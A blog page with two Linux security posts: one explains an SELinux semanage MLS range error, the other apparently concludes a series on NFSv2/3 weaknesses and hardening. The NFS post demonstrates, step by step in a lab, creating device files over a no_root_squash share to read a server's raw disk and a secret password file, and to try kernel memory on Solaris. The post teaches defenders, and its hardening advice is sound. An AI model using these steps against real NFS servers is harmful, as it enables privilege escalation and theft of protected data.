Search This Blog

Showing posts with label selinux. Show all posts
Showing posts with label selinux. Show all posts

Friday, 2 September 2016

A look at an SELinux error message



As a fan of the SELinux security framework that runs as part of Linux, I thought it would be a good idea to improve my skillset in this area, and go beyond the basics.

Part of that is research, subscribing to SELinux mailing lists, playing with test setups and, of course, reading what others are saying via Google searches.

One, whilst going off at a tangent to my goal, sparked my interest as all the posts I saw didn't have the answer. It was this type of error:

libsemanage.validate_handler: MLS range s0-s1:c1,c3 for Unix user XXX exceeds allowed range s0:c1,c3-s1:c1,c3 for SELinux user XXX
libsemanage.validate_handler: seuser mapping [XXX -> (XXX, s0-s1:c1,c3)] is invalid
libsemanage.dbase_llist_iterate: could not iterate over records

For example here, just search for libsemanage.validate_handler.

The answer should be straightforward, and relies on the fact that SELinux enforces mandatory access controls; aka stop you doing stupid or bad things (or at least what policy states are stupid/bad things), plus the tools stop stupid/bad configurations (again, at least what the developers state are such).

We can look at three types of user concept here. First, we have the traditional UNIX user as defined in /etc/passwd or your favourite password backend. Secondly, we have the concept of an SELinux user, which is more akin to a class or UNIX group. Finally, we have mappings which map the UNIX user to the SELinux user, which themselves (can) specify ranges.

SELinux users are managed by semanage user, whilst the mappings are managed by semanage login.

If we map a UNIX user to a SELinux user, we are stating that the UNIX user has a particular range of clearances to access and do stuff on the machine. However, when we set up the mapping we can further constrain the user, but cannot (shouldn't be able to) grant more than the base SELinux user they are mapped to.

So, here's an example on one of my test boxes.

The test box is running the mls policy and is using poly-instantiated directories of /tmp /var/tmp and $HOME based on the context (i.e. we can only see a home area or temp area commensurate to our current level.

First, lets create an SELinux user of devuser_u which has the standard user role of user_r:

[root@centos-7-2-t1 ~]# semanage user -a -R user_r -r s0-s1:c1,c3 devuser_u
[root@centos-7-2-t1 ~]# semanage user -l

                Labelling  MLS/       MLS/                         
SELinux User    Prefix     MCS Level  MCS Range            SELinux Roles

devuser_u       user       s0         s0-s1:c1,c3          user_r

Now  let's create a user that is of that type:

[root@centos-7-2-t1 ~]# useradd -m -Z devuser_u dev1
[root@centos-7-2-t1 ~]# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          user_u               s0                   *
dev1                 devuser_u            s0-s1:c1,c3          *

Now lets say that we wish for the user to be able to access a new category (compartment) of c8. We may state that we do this with the mapping, but as this user is an SELinux user of devuser_u this isn't going to work:

[root@centos-7-2-t1 ~]# semanage login -m -r s0-s1:c1,c3,c8 dev1
libsemanage.validate_handler: MLS range s0-s1:c1,c3,c8 for Unix user dev1 exceeds allowed range s0-s1:c1,c3 for SELinux user devuser_u
libsemanage.validate_handler: seuser mapping [dev1 -> (devuser_u, s0-s1:c1,c3,c8)] is invalid
libsemanage.dbase_llist_iterate: could not iterate over records
ValueError: Could not commit semanage transaction

Instead we either need to create a new SELinux user (and map the unix user to it) or modify the existing one. So, lets modify the existing one so that it includes this new category:

[root@centos-7-2-t1 ~]# semanage user -m -r s0-s1:c1,c3,c8 devuser_u
[root@centos-7-2-t1 ~]# semanage user -l

                Labelling  MLS/       MLS/                          
SELinux User    Prefix     MCS Level  MCS Range            SELinux Roles

devuser_u       user       s0         s0-s1:c1,c3,c8       user_r

Cool, that worked. Note that this does not update the individual mappings.

[root@centos-7-2-t1 ~]# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          user_u               s0                   *
dev1                 devuser_u            s0-s1:c1,c3          *

So, lets do that.

[root@centos-7-2-t1 ~]# semanage login -m -r s0-s1:c1,c3,c8 dev1
[root@centos-7-2-t1 ~]# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          user_u               s0                   *
dev1                 devuser_u            s0-s1:c1,c3,c8       *

So now all is well.

Providing the MLS/MCS range of the SELinux user is a superset of the range an individual user has, then you shouldn't have a problem.

A side note, I have found it is occasionally possible to sometimes modify the SELinux user to no longer be a superset; but then all other modifications against that user breaks until you fix it (i.e. make it a superset, then clear the categories or sensitivities you wish to remove from the member UNIX user mappings, then update the SELinux user); a bug perhaps.

Thursday, 26 May 2016

NFS Abuse for Fun and Profit - Part 3




Following on from Part 1 and Part 2; in this final part of this overview of NFS version 2 and 3, we will look at a number of other countermeasures and a nice way to compromise a system.

Case 5 – Read only shares

This is one of the more useful options. If we are sharing out part of the filesystem, then lets stop the client writing to the share if they don't need to write to it; least privilege.

In this case we specify the ro attribute on the share. Note that we can have combinations, in that we can specify that some clients are rw and others ro. So, we update /etc/exports thus:

[root@centos-7-2-t1 ~]# cat /etc/exports
/myShare          *(ro)
[root@centos-7-2-t1 ~]# exportfs -a

Then, from the adversaries machine, when we mount the share rw, we get the following.

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# su - bh5000
Last login: Wed May 18 09:41:37 BST 2016 on pts/0
[bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/
[bh5000@centos-7-2-t3 tgtNFSmount]$ echo hello-world > a.a
-bash: a.a: Read-only file system

As you can see, whilst it appears to mount rw, you still cannot write to it, since it is prohibited at the server end.

However, just like on web services it is important we validate at both ends; that authorized clients also ensure that the 'rules are followed' in case the server is compromised. So, valid clients should also mount the share read-only.

Suggestion 4 – don't share or mount something read-write if read-only is all that is needed.

Case 6 – ACLs

This is probably the best standard NFS option you have. Just like a firewall, we can restrict the range of hosts (there are various filters available; e.g. subnets, netgroups), so that only authorized clients can access the share (or write)  in the first place. In this case, the adversary is forced to compromise an authorized client (or the server itself), rather than taking advantage of any other host.

In this case we'll state that only server t2 can access the share.

[root@centos-7-2-t1 ~]# cat /etc/exports
/myShare          centos-7-2-t2(rw)
[root@centos-7-2-t1 ~]# exportfs -a

Now, only t2 can access the filesystem. So, from the adversaries box, this will fail, won't it:

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# df -k /tgtNFSmount
Filesystem             1K-blocks    Used Available Use% Mounted on
centos-7-2-t1:/myShare  18307072 1865472  16441600  11% /tgtNFSmount
[root@centos-7-2-t3 ~]# echo hello-world > /tgtNFSmount/a.a
-bash: /tgtNFSmount/a.a: Read-only file system

Ah, you need to restart the NFS server in this case:

[root@centos-7-2-t1 ~]# exportfs -ra

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/
mount.nfs: access denied by server while mounting centos-7-2-t1:/myShare

You need to carefully check the semantics of the specific system.

On Linux the semantics are to share read-only to all clients unless specified otherwise.

On Solaris, the default is to share read-write to all clients unless specified otherwise.

There are other semantics as well, so in short, you should always validate the setup.

Suggestion 5 – Always use an ACL unless you are absolutely sure it cannot be used in your situation.

Case 7 – noexec and nodev

As with any technology, it always worth looking at what options are available or changed, as some can improve security, and some can weaken security.

Often-times, the changes are done in a way that doesn't break existing functionality. So, you can find a weakness in an (old) system that it still present in newer incarnations, since the feature needs to be activated.

In this case, we are going to look at two useful options for NFS mounts – noexec and nodev. By default these are allowed.

First, noexec. This sort of makes sense – by default allowing you to execute programs on NFS shares. However, in today's landscape, as it isn't (normally) authenticated (e.g. Kerberos); probably less so. Let's turn that off on authorized clients:

[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3,nosuid,noexec centos-7-2-t1:/myShare /myNFSmount
[root@centos-7-2-t2 ~]# su - joe
Last login: Wed May 18 10:21:32 BST 2016 on pts/0
[joe@centos-7-2-t2 ~]$ /myNFSmount/bash.centos72
-bash: /myNFSmount/bash.centos72: Permission denied

Next, nodev. This is a nice one. By default we allow special files on an NFS share, these can be named pipes, sockets, and also filesystem devices; basically any device.

Device special files are special on the client that is accessing it. This implies that whether it is the NFS server or the NFS client, the access is the kernel device driver on the system you are accessing it. So, if you create a device for the root filesystem, from a client, then access it on the server; you have access to the root filesystem device on the server.

There is a caveat, by default root is 'squashed', so you cannot just create a device for a filesystem from a client. However, a) this isn't always the case, and b) you can always compromise the NFS server itself and use it the other way round to escalate privileges on the clients.

First example will be with no_root_squash, thus:

[root@centos-7-2-t1 myShare]# cat /etc/exports
/myShare          *(rw,no_root_squash)
[root@centos-7-2-t1 myShare]# exportfs -ra
[root@centos-7-2-t1 myShare]# ls -lL /dev/mapper/centos-dummy
brw-rw----. 1 root disk 253, 2 May 11 18:16 /dev/mapper/centos-dummy
[root@centos-7-2-t1 myShare]# getent passwd joe
joe:x:5001:5001::/home/joe:/bin/bash

Now, on the centos-dummy filesystem we have a secret file. So, from the adversaries box (or a compromised client), we can do this:

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount/
[root@centos-7-2-t3 tgtNFSmount]# mknod testDev b 253 2
[root@centos-7-2-t3 tgtNFSmount]# chown 5001:5001 testDev
[root@centos-7-2-t3 tgtNFSmount]# ls -l testDev
brw-r--r--. 1 5001 5001 253, 2 May 26 10:55 testDev

Then as joe on the NFS server (or a client) we can then view the filesystem (for the demo we are just using strings, but there are many options including e.g. dd the whole thing for offsite enjoyment):

[joe@centos-7-2-t1 ~]$ strings /dev/mapper/centos-dummy
strings: /dev/mapper/centos-dummy: Permission denied
[joe@centos-7-2-t1 ~]$ strings /myShare/testDev | head -20
#k?WQk?W
/mnt
lost+found
supersecret.txt
mySetpriv
...
unconfined_u:object_r:mnt_t:s0
AReallyComplicatedPassword-OK-LONG-Password
 @B1
B82
...

i.e. we are reading the following file:

[root@centos-7-2-t1 myShare]# mount -o nosuid /dev/mapper/centos-dummy /mnt
[root@centos-7-2-t1 myShare]# ls -l /mnt/supersecret.txt
----------. 1 root root 44 May 20 20:53 /mnt/supersecret.txt
[root@centos-7-2-t1 myShare]# cat /mnt/supersecret.txt
AReallyComplicatedPassword-OK-LONG-Password

Now, for a cross-platform attempt. First, what device do we need on Solaris:

joe@sol10-u9-t4$ df -k /export/home/
Filesystem            kbytes    used   avail capacity  Mounted on
/dev/dsk/c1t0d0s7    8245877    8210 8155209     1%    /export/home
joe@sol10-u9-t4$ ls -lL /dev/kmem /dev/dsk/c1t0d0s7
brw-r-----   1 root     sys       30,  7 May 10 16:28 /dev/dsk/c1t0d0s7
crw-r-----   1 root     sys       13,  1 May 10 16:12 /dev/kmem

Then on the adversary's Linux box we do the following:

[root@centos-7-2-t3 tgtNFSmount]# mknod solKmem c 13 1
[root@centos-7-2-t3 tgtNFSmount]# mknod sols7 b 30 7

Then back on the Solaris box we can now do this:

joe@sol10-u9-t4$ strings /myOracleShare/sols7 2> /dev/null | more
/export/home
v$2W
v$2W
.profile
local.cshrc
local.login
local.profile
.bash_history
This is the default standard profile provided to a user.
They are expected to edit it to meet their own needs.
MAIL=/usr/mail/${LOGNAME:?}

But due to some quirks with this kernel we cannot do the following (there may be kernels for which this will work .. I would need to look into it in much more detail)

joe@sol10-u9-t4$ mdb -k /myOracleShare/solKmem /dev/ksyms
mdb: failed to read ELF header from /myOracleShare/solKmem: Bad address

As you can see, being able to create device special files via a client or the server can be extremely dangerous.

As a side note, Solaris does not have nodev. Instead, nosuid infers the equivalent of nodev. So, it will inadvertently be stopped by the more obvious nosuid lockdown.

Suggestion 6 – only allow appropriate files on a share or mount. Pay particular attention to special files and suid files.

Suggestion 7 – if possible, ensure that the filesystem you are sharing is also mounted with restrictive options on the NFS server.

Case 8 – SELinux

On Linux we can use SELinux to enforce a number of security constraints.

This isn't as scary as people think. You don't have to go into the details of creating policies, etc. Instead, the default targeted policy has a set of SELinux booleans that you can turn on and off to influence policy.

You can see a few by running:

[root@centos-7-2-t1 ~]# getsebool -a | fgrep -i nfs
...
nfs_export_all_ro --> on
nfs_export_all_rw --> on
nfsd_anon_write --> off
...
samba_share_nfs --> off
...

SELinux is a big subject in itself, so I'll leave it for now in this article. Perhaps for another time.

Case n+1

There are many other ways to abuse NFS. For example, normally none of it uses encryption or cryptographic authentication. You can protect part of the NFSv2/3 connections using Kerberos, but for full authentication/encryption you need to be using NFSv4.

So, MITM attacks to monitor or alter data is also a viable option, but I will leave that as an exercise for the reader.

Enjoy.